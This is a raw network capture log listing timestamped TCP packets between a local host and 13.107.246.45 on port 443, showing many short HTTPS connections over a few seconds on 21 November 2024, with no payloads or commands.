Nov 21, 2024 14:27:26.694982052 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.694993019 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.694998026 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.698640108 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.698688030 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.698764086 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.698931932 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.698947906 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.463280916 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.463968039 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.464047909 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.464613914 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.464628935 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.896840096 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.896883011 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.896941900 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.897059917 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.897397041 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.897432089 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.897444010 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.897450924 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.901433945 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.901483059 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:27.901580095 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.901834011 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:27.901846886 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.067800045 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.068367004 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.068380117 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.069015026 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.069019079 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.070725918 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.071219921 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.071238041 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.071806908 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.071813107 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.253928900 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.300329924 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.325179100 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.325196981 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.325828075 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.325839043 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.417834044 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.420892000 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.420911074 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.421498060 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.421504021 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515106916 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515185118 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515227079 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515403032 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515412092 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515466928 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515712023 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515744925 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515746117 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515746117 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515758991 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515765905 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.515767097 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.515775919 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.519651890 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.519701004 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.519730091 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.519779921 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.519784927 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.519968987 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.519988060 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.520004988 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.520215034 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.520234108 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.689316034 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.692431927 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.692524910 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.692625046 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.692625999 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.692668915 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.692712069 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.696564913 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.696615934 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.696932077 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.697212934 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.697231054 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.857887030 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.861004114 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.861064911 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.861066103 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.861121893 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.861182928 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.861206055 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.861222982 CET	49921	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.861229897 CET	443	49921	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.864646912 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.864686966 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:28.864775896 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.865004063 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:28.865019083 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:29.687381029 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:29.687949896 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:29.687993050 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:29.688728094 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:29.688757896 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.144197941 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.147280931 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.147383928 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.147469997 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.147469997 CET	49922	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.147515059 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.147547007 CET	443	49922	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.150780916 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.150832891 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.150917053 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.151143074 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.151161909 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.257839918 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.258476973 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.258516073 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.258935928 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.258948088 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.259833097 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.260092020 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.260118961 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.260397911 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.260406017 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.483253956 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.483814001 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.483859062 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.484247923 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.484260082 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.662244081 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.662750006 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.662786961 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.663213968 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.663223982 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.691653013 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.693439960 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.693684101 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.693732977 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.693779945 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.693804979 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.693824053 CET	49923	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.693830967 CET	443	49923	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.694869995 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.694916964 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.694948912 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.694987059 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.695027113 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.695545912 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.695561886 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.695578098 CET	49924	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.695584059 CET	443	49924	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.701180935 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.701230049 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.701286077 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.702244043 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.702275038 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.702332973 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.702490091 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.702514887 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.702796936 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.702805042 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.928196907 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.931399107 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.931616068 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.931617022 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.931617022 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.934413910 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.934475899 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:30.934571981 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.934740067 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:30.934765100 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.105700016 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.105993986 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.106103897 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.106231928 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.106262922 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.106280088 CET	49926	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.106287003 CET	443	49926	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.110091925 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.110177994 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.110304117 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.110531092 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.110565901 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.237967014 CET	49925	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.238013983 CET	443	49925	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.933402061 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.933978081 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.934004068 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:31.934602976 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:31.934614897 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.381022930 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.425518036 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.425559044 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.425986052 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.426014900 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.426024914 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.426222086 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.426265955 CET	443	49927	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.426312923 CET	49927	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.429676056 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.429714918 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.429797888 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.430012941 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.430027008 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.642247915 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.642927885 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.642956018 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.643011093 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.643351078 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.643388033 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.643551111 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.643557072 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.643991947 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.644006968 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.657960892 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.658358097 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.658366919 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:32.658885002 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:32.658890009 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.079416990 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.082462072 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.082779884 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.082781076 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.082781076 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.091752052 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.091797113 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.091891050 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.093015909 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.093056917 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.096699953 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.099536896 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.099658012 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.100833893 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.100833893 CET	49928	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.100881100 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.100924015 CET	443	49928	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.104707956 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.104738951 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.104809046 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.104996920 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.105007887 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.105375051 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.108428001 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.108499050 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.108537912 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.108570099 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.108597040 CET	49930	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.108609915 CET	443	49930	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.111076117 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.111094952 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.111169100 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.111324072 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.111334085 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.190654039 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.193809032 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.193883896 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.194422007 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.194436073 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.383411884 CET	49929	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.383450985 CET	443	49929	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.642030954 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.645407915 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.645495892 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.645494938 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.645596027 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.645596027 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.645637989 CET	49931	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.645694017 CET	443	49931	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.648550987 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.648616076 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:33.648709059 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.648845911 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:33.648864031 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.255759954 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.256366968 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.256386995 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.256791115 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.256803036 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.692173004 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.697623014 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.697712898 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.703701973 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.703716993 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.703774929 CET	49932	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.703788996 CET	443	49932	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.709794044 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.709884882 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.709999084 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.710217953 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.710253000 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.812916040 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.814219952 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.814250946 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.815663099 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.815679073 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.833830118 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.837342978 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.837367058 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.845160961 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.845168114 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.957559109 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.970587969 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.970628023 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:34.973472118 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:34.973479033 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.262900114 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.262991905 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.263165951 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.263279915 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.263300896 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.263313055 CET	49933	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.263318062 CET	443	49933	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.265858889 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.265939951 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268188953 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268214941 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268265009 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268275976 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268295050 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268322945 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268424988 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268449068 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268462896 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268462896 CET	49935	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.268480062 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.268501997 CET	443	49935	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.270243883 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.270332098 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.270421982 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.270519018 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.270543098 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.409401894 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.412578106 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.414056063 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.414057016 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.414057016 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.416434050 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.416476965 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.416671991 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.416733027 CET	49940	443	192.168.2.5	13.107.246.45
